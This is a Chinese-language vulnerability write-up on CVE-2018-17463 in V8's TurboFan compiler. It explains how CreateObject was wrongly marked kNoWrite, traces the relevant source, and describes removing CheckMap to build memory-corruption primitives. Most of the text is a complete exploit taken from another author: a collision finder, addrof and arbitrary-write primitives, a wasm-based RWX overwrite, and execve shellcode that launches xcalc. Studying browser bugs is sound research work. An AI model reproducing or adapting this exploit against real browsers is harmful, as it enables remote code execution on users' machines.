这是在A guided tour through Chrome’s javascript compiler上的几个cve之一,为了学习v8的相关研究,将这三者一个一个攻破,下面是对应的commit。
环境搭建
用v8 action
(星阑科技的开源项目,公众号上有对应文章说明)
编译
cd v8
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
cd ..
漏洞分析
看下diff
diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
index 94b018c..5ed3f74 100644
--- a/src/compiler/js-operator.cc
+++ b/src/compiler/js-operator.cc
@@ -622,7 +622,7 @@
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
- V(CreateObject, Operator::kNoWrite, 1, 1) \
+ V(CreateObject, Operator::kNoProperties, 1, 1) \
V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasProperty, Operator::kNoProperties, 2, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
显然是kNoWrite
引起的错误,我们看看这是什么意思,以下来自
//From src/compiler/operator.h:
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
But: Object.create(o) does have a side effect:
1. It changes the map of o
2. Properties are converted from fast to dictionary mode
意思就是在CreateObject
操作中无视side-effect
,经Object.create(0)
后,o
的map从fast mode
变为dictionary mode
,对于map的类型,dictionary mode
类似于hash
表存储,结构较复杂,fast mode
是简单的结构体模式。
这改动会使得原本分开保存的各个属性在Object.create()
后会被整理到一个大的hash表结构里。但是由于漏洞点,d8没有意识到存储方式的变化,也就是map模式的改变,猜测如果有side-effect
的话是会反过来影响到原来的对象的,但是显然无视这个边后,造成了还是按原来的模式存取的情况,也就导致了按原偏移存取,最终泄露内存
poc
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < 10000; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
if( res != 0x5678){
console.log(i);
console.log("CVE-2018-17463 exists in the d8");
break;
}
}
源码分析
经turbolizer观察发现在generic lowering
阶段会由JSCreateObject
变为Call
,所以定位源码在对应阶段
简单提一句turbolizer使用方法,首先在运行poc时加上--trace-turbo
然后运行完会在当目录下生成一些文件,
打开https://v8.github.io/tools/v7.1/turbolizer/index.html
根据版本号的不同修改url
中的vx.x
点击右上角的3,会提示你选择文件,就选择生成的json文件,可能不止一个,选一个打开就能看到这个页面,按1是重新给结点排序,按2是把所有结点显示出来,选择优化阶段的部分我就不说了,看前面对比的两图画的红框就知道
//src/compiler/js-generic-lowering.cc:404
void JSGenericLowering::LowerJSCreateObject(Node* node) {
CallDescriptor::Flags flags = FrameStateFlagForCall(node);
Callable callable = Builtins::CallableFor( //======这里
isolate(), Builtins::kCreateObjectWithoutProperties);
ReplaceWithStubCall(node, callable, flags);
}
这里把JSCreateObject
用Builtins::kCreateObjectWithoutProperties
代替,转过去
//src/builtins/builtins-object-gen.cc:1101
TF_BUILTIN(CreateObjectWithoutProperties, ObjectBuiltinsAssembler) {
Node* const prototype = Parameter(Descriptor::kPrototypeArg);
Node* const context = Parameter(Descriptor::kContext);
Node* const native_context = LoadNativeContext(context);
Label call_runtime(this, Label::kDeferred), prototype_null(this),
prototype_jsreceiver(this);
[ ... ]
BIND(&call_runtime);
{
Comment("Call Runtime (prototype is not null/jsreceiver)");
Node* result = CallRuntime(Runtime::kObjectCreate, context, prototype, //这里
UndefinedConstant());
Return(result);
}
}
=============================================================================
//src/runtime/runtime-object.cc:316
RUNTIME_FUNCTION(Runtime_ObjectCreate) {
HandleScope scope(isolate);
Handle<Object> prototype = args.at(0);
Handle<Object> properties = args.at(1);
Handle<JSObject> obj;
[ ... ]
// 2. Let obj be ObjectCreate(O).
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, obj, JSObject::ObjectCreate(isolate, prototype));//这里
[ ... ]
不同的prototype
属性对应不同的操作,我们直接看ObjectCreate
//src/objects.cc:1360
MaybeHandle<JSObject> JSObject::ObjectCreate(Isolate* isolate,
Handle<Object> prototype) {
// Generate the map with the specified {prototype} based on the Object
// function's initial map from the current native context.
// TODO(bmeurer): Use a dedicated cache for Object.create; think about
// slack tracking for Object.create.
Handle<Map> map =
Map::GetObjectCreateMap(isolate, Handle<HeapObject>::cast(prototype));
// Actually allocate the object.
Handle<JSObject> object;
if (map->is_dictionary_map()) {
object = isolate->factory()->NewSlowJSObjectFromMap(map);
} else {
object = isolate->factory()->NewJSObjectFromMap(map);
}
return object;
}
得到原来的map,然后根据这一map类型来调用不同函数生成新的obj,看下怎么得到的map
//src/objects.cc:5450
Handle<Map> Map::GetObjectCreateMap(Isolate* isolate,
Handle<HeapObject> prototype) {
[ ... ]
if (prototype->IsJSObject()) {
Handle<JSObject> js_prototype = Handle<JSObject>::cast(prototype);
if (!js_prototype->map()->is_prototype_map()) {
JSObject::OptimizeAsPrototype(js_prototype);//===================这里
}
[ ... ]
=====================================================================
//src/objects.cc:12518
void JSObject::OptimizeAsPrototype(Handle<JSObject> object,
bool enable_setup_mode) {
if (object->IsJSGlobalObject()) return;
if (enable_setup_mode && PrototypeBenefitsFromNormalization(object)) {
// First normalize to ensure all JSFunctions are DATA_CONSTANT.
JSObject::NormalizeProperties(object, KEEP_INOBJECT_PROPERTIES, 0,//这里
"NormalizeAsPrototype");
}
[ ... ]
======================================================================
//src/objects.cc:6436
void JSObject::NormalizeProperties(Handle<JSObject> object,
PropertyNormalizationMode mode,
int expected_additional_properties,
const char* reason) {
if (!object->HasFastProperties()) return;
Handle<Map> map(object->map(), object->GetIsolate());
Handle<Map> new_map = Map::Normalize(object->GetIsolate(), map, mode, reason);//先看这里
MigrateToMap(object, new_map, expected_additional_properties);
}
用原有的map
在Normalize
中生成新的map
,剩下的调用链
Map::Normalize->
Map::CopyNormalized->
RawCopy->
Map::SetPrototype->
JSObject::OptimizeAsPrototype(没错,又调用了一次这个)
在Map::CopyNormalized
中
Handle<Map> Map::CopyNormalized(Isolate* isolate, Handle<Map> map,
PropertyNormalizationMode mode) {
int new_instance_size = map->instance_size();
if (mode == CLEAR_INOBJECT_PROPERTIES) {
new_instance_size -= map->GetInObjectProperties() * kPointerSize;
}
Handle<Map> result = RawCopy(
isolate, map, new_instance_size,
mode == CLEAR_INOBJECT_PROPERTIES ? 0 : map->GetInObjectProperties());
// Clear the unused_property_fields explicitly as this field should not
// be accessed for normalized maps.
result->SetInObjectUnusedPropertyFields(0);
result->set_is_dictionary_map(true); //=================这里
result->set_is_migration_target(false);
result->set_may_have_interesting_symbols(true);
result->set_construction_counter(kNoSlackTracking);
[ ... ]
显然生成的map是dictionary
的
利用方法
我们首先要看泄露哪里的内存
let a = {x1 : 1, y1 : 2, z1 : 3};
a.x2 = 4;
a.y2 = 5;
a.z2 = 6;
%DebugPrint(a);
%SystemBreak();
Object.create(a);
%DebugPrint(a);
%SystemBreak();
第一次break看到数据这么存储的,对于那三个本就存在的数据,存在结构体内部,对于后来动态增加的,结构体内有一指针指向,当然结构体内部存数据的个数是有限制的,超过这一限制的也会存到properties
里
第二次break看起来乱乱的,但是可以知道的是,没有存在结构体内部的数据了,这么说可能不太合适,知道意思就行,不理解的可以去看些讲v8对象布局的
显然对于这个洞来说,如果通过这里达到内存泄漏,泄露的就是原来应该存在结构体内相应偏移的数据,比如本来a.x1
是对应properties+0x10
的位置,但是经Object.create(a)
后真实位置是跑到properties里了,原来的偏移不再是a.x1
。
经调试发现,此时返回的x.b
的值也不是properties+0x10
而是*properties+0x10
,properties指向的位置的0x10偏移处才是,也就是说偏移不变但是base变了,单这么说会觉得比较鸡肋,因为这样我们似乎改不了长度,但是别忘了此时存储数据的结构是一个哈希表,不是刚开始赋值的顺序,并且这个hash表的排布还会一直变化。也就是说,数据长度够长,理论上是会有原来的偏移对应着新的数据的。
比如x.a
和x.b
,本来布局是a的偏移为0x10,b为0x20,经过以上变换为hash存储后,0x10偏移处存储的变为了b,0x20偏移处变为a,当然这是理想情况,实际运用时我们可以通过将所有数据对应偏移处的数据打印出来,然后看有没有以上所说的这种数据对,如果找到了,那么显然可以使两位置存储不同类型元素,一个存对象一个存浮点数,这样addrOf
就构造出来了
那么同样的,只要对应键值为ArrayBuffer
的backing_store
,那么我们也能直接改了,这样任意读写也有了,当然我们还需要对抗CheckMap
,因为当我们map类型变了之后,map就会发生变化,这样CheckMap
就会检测出来,所以回到头来还是要去掉Checkmap
对于优化的洞,目前接触到的多是把CheckMap
给消去,或者是构造出一个实际上可以越界的长度,而v8认为没越界的数(有关range范围的bug),这种一般就是把CheckBound
给优化掉,对于这个显然是前者
我们利用kNoWrite
来去掉Checkmap
// The given checkpoint is redundant if it is effect-wise dominated by another
// checkpoint and there is no observable write in between. For now we consider
// a linear effect chain only instead of true effect-wise dominance.
bool IsRedundantCheckpoint(Node* node) {
Node* effect = NodeProperties::GetEffectInput(node);
while (effect->op()->HasProperty(Operator::kNoWrite) &&
effect->op()->EffectInputCount() == 1) {
if (effect->opcode() == IrOpcode::kCheckpoint) return true; //消除
effect = NodeProperties::GetEffectInput(effect);
}
return false;
}
从源码我们可以看到,两个检查节点中间的操作是kNoWrite
时,第二个检查节点可以消去
出自,当对象不变时,对于对象的多个成员访问,只
CheckMap
一次,后面的消掉
可以构造一个函数,首先访问一次其内部变量,然后调用Object.create
操作,这时再访问第二个内部变量时没有CheckMap
并且因为之前提到的漏洞的原因,可以访问到非预期的位置
剩下内容就是用wasm一把梭,这点看过其他一些v8利用的应该很熟悉
exp
exp有现成的就不自己写了,来自于这里
function gc()
{
/*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/
for(var i=0;i<((1024 * 1024)/0x10);i++)
{
var a= new String();
}
}
function give_me_a_clean_newspace()
{
/*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/
gc()
gc()
}
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function d2u(v) {
f64[0] = v;
return u32;
}
function u2d(lo, hi) {
u32[0] = lo;
u32[1] = hi;
return f64;
}
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
function utf8ToString(h, p) {
let s = "";
for (i = p; h[i]; i++) {
s += String.fromCharCode(h[i]);
}
return s;
}
function log(x,y = ' '){
console.log("[+] log:", x,y);
}
let OPTIMIZATION_NUM = 10000;
let OBJ_LEN = 0x20;
let X;
let Y;
// use a obj to check whether CVE-2018-17463 exists
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;
}
for (let i = 0;i < OPTIMIZATION_NUM; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
log("CVE-2018-17463 exists in the d8");
return;
}
}
throw "bad d8 version";
}
// check collision between directory mode and fast mode
function getOBJ(){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
eval(`res.${'b'+i} = -${0x4869 + i}; `);
}
return res;
}
function printOBJ(x){
for(let i = 0;i<OBJ_LEN;i++){
eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);
//console.log('['+i+']'+x[i]);
}
}
function findCollision(){
let find_obj = [];
for (let i = 0;i<OBJ_LEN;i++){
find_obj[i] = 'b'+i;
}
eval(` function bad_create(x){ x.a; this.Object.create(x); ${find_obj.map((b) => `let ${b} = x.${b};`).join('\n')} return [${find_obj.join(', ')}]; } `);
for (let i = 0; i<OPTIMIZATION_NUM;i++){
let tmp = bad_create(getOBJ());
for (let j = 0 ;j<tmp.length;j++){
if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){
log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");
return ['b'+j , 'b' + -(tmp[j]+0x4869)];
}
}
}
throw "not found collision ";
}
// create primitive -> addrof
function getOBJ4addr(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = 1.1; `); }
if (('b'+i)== X){
eval(` res.${X} = {x1:1.1,x2:1.2}; `);
}
if (('b'+i)== Y){
eval(` res.${Y} = {y1:obj}; `);
}
}
return res;
}
function addrof(obj){
eval(` function bad_create(o){ o.a; this.Object.create(o); return o.${X}.x1; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4addr(obj));
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.1){
log(tmp);
return ret;
}
}
throw "not found addrof obj";
}
// create primitive -> Arbitrary write
function getOBJ4read(obj){
let res = {a:0x1234};
for (let i = 0; i< OBJ_LEN;i++){
if (('b'+i)!= X &&('b'+i)!= Y ){
eval(`res.${'b'+i} = {}; `); }
if (('b'+i)== X){
eval(` res.${X} = {x0:{x1:1.1,x2:1.2}}; `);
}
if (('b'+i)== Y){
eval(` res.${Y} = {y1:obj}; `);
}
}
return res;
}
function arbitraryWrite(obj,addr){
eval(` function bad_create(o,value){ o.a; this.Object.create(o); let ret = o.${X}.x0.x2; o.${X}.x0.x2 = value; return ret; } `);
for (let i = 0;i < OPTIMIZATION_NUM;i++){
let ret = bad_create( getOBJ4read(obj),addr);
let tmp =Int64.fromDouble(ret).toString();
if (ret!= 1.2){
return ;
}
}
throw "not found arbitraryWrite";
}
// exploit
function exploit(){
var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,1,127,1,127,96,0,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,150,128,128,128,0,2,6,109,101,109,111,114,121,2,0,9,71,84,111,97,100,76,117,99,107,0,1,10,146,128,128,128,0,1,140,128,128,128,0,0,65,16,16,0,26,65,137,221,203,1,11,11,160,128,128,128,0,1,0,65,16,11,26,87,101,98,65,115,115,101,109,98,108,121,32,109,111,100,117,108,101,32,108,111,97,100,101,100,0
]);
var wasmImports = {
env: {
puts: function puts (index) {
console.log(utf8ToString(h, index));
}
}
};
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
let f = m.exports.GToadLuck;
console.log("step 0: Game start");
f();
console.log("step 1: check whether vulnerability exists");
check_vul();
console.log("step 2: find collision");
[X,Y] = findCollision();
let mem = new ArrayBuffer(1024);
give_me_a_clean_newspace();
console.log("step 3: get address of JSFunciton");
let addr = addrof(f);
console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");
arbitraryWrite(mem,addr);
let dv = new DataView(mem);
SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));
console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);
console.log("step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo");
arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());
WasmExportedFunctionData_addr = Int64.fromDouble(dv.getFloat64(0x7,true));
console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);
console.log("step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData");
arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());
WasmInstanceObject_addr = Int64.fromDouble(dv.getFloat64(0xf,true));
console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);
console.log("step 7: make ArrayBuffer's backing_store -> WasmInstanceObject");
arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());
imported_function_targets_addr = Int64.fromDouble(dv.getFloat64(0xc7,true));
console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);
console.log("step 8: make ArrayBuffer's backing_store -> imported_function_targets");
arbitraryWrite(mem,imported_function_targets_addr.asDouble());
code_addr = Int64.fromDouble(dv.getFloat64(0,true));
console.log("[+] code addr :"+code_addr);
log("step 9: make ArrayBuffer's backing_store -> rwx_area");
arbitraryWrite(mem,code_addr.asDouble());
console.log("step 10: write shellcode for poping up a calculator");
var shellcode = Array(20);
shellcode[0] = 0x90909090;
shellcode[1] = 0x90909090;
shellcode[2] = 0x782fb848;
shellcode[3] = 0x636c6163; //xcalc
shellcode[4] = 0x48500000;
shellcode[5] = 0x73752fb8;
shellcode[6] = 0x69622f72;
shellcode[7] = 0x8948506e;
shellcode[8] = 0xc03148e7;
shellcode[9] = 0x89485750;
shellcode[10] = 0xd23148e6;
shellcode[11] = 0x3ac0c748;
shellcode[12] = 0x50000030; //我改为了0x50000031
shellcode[13] = 0x4944b848;
shellcode[14] = 0x414c5053;
shellcode[15] = 0x48503d59;
shellcode[16] = 0x3148e289;
shellcode[17] = 0x485250c0;
shellcode[18] = 0xc748e289;
shellcode[19] = 0x00003bc0;
shellcode[20] = 0x050f00;
var dataview = new DataView(mem);
for (var i=0; i<shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
f();
}
exploit();
参考
https://bugs.chromium.org/p/chromium/issues/detail?id=762874
http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/?utm_source=tuicool&utm_medium=referral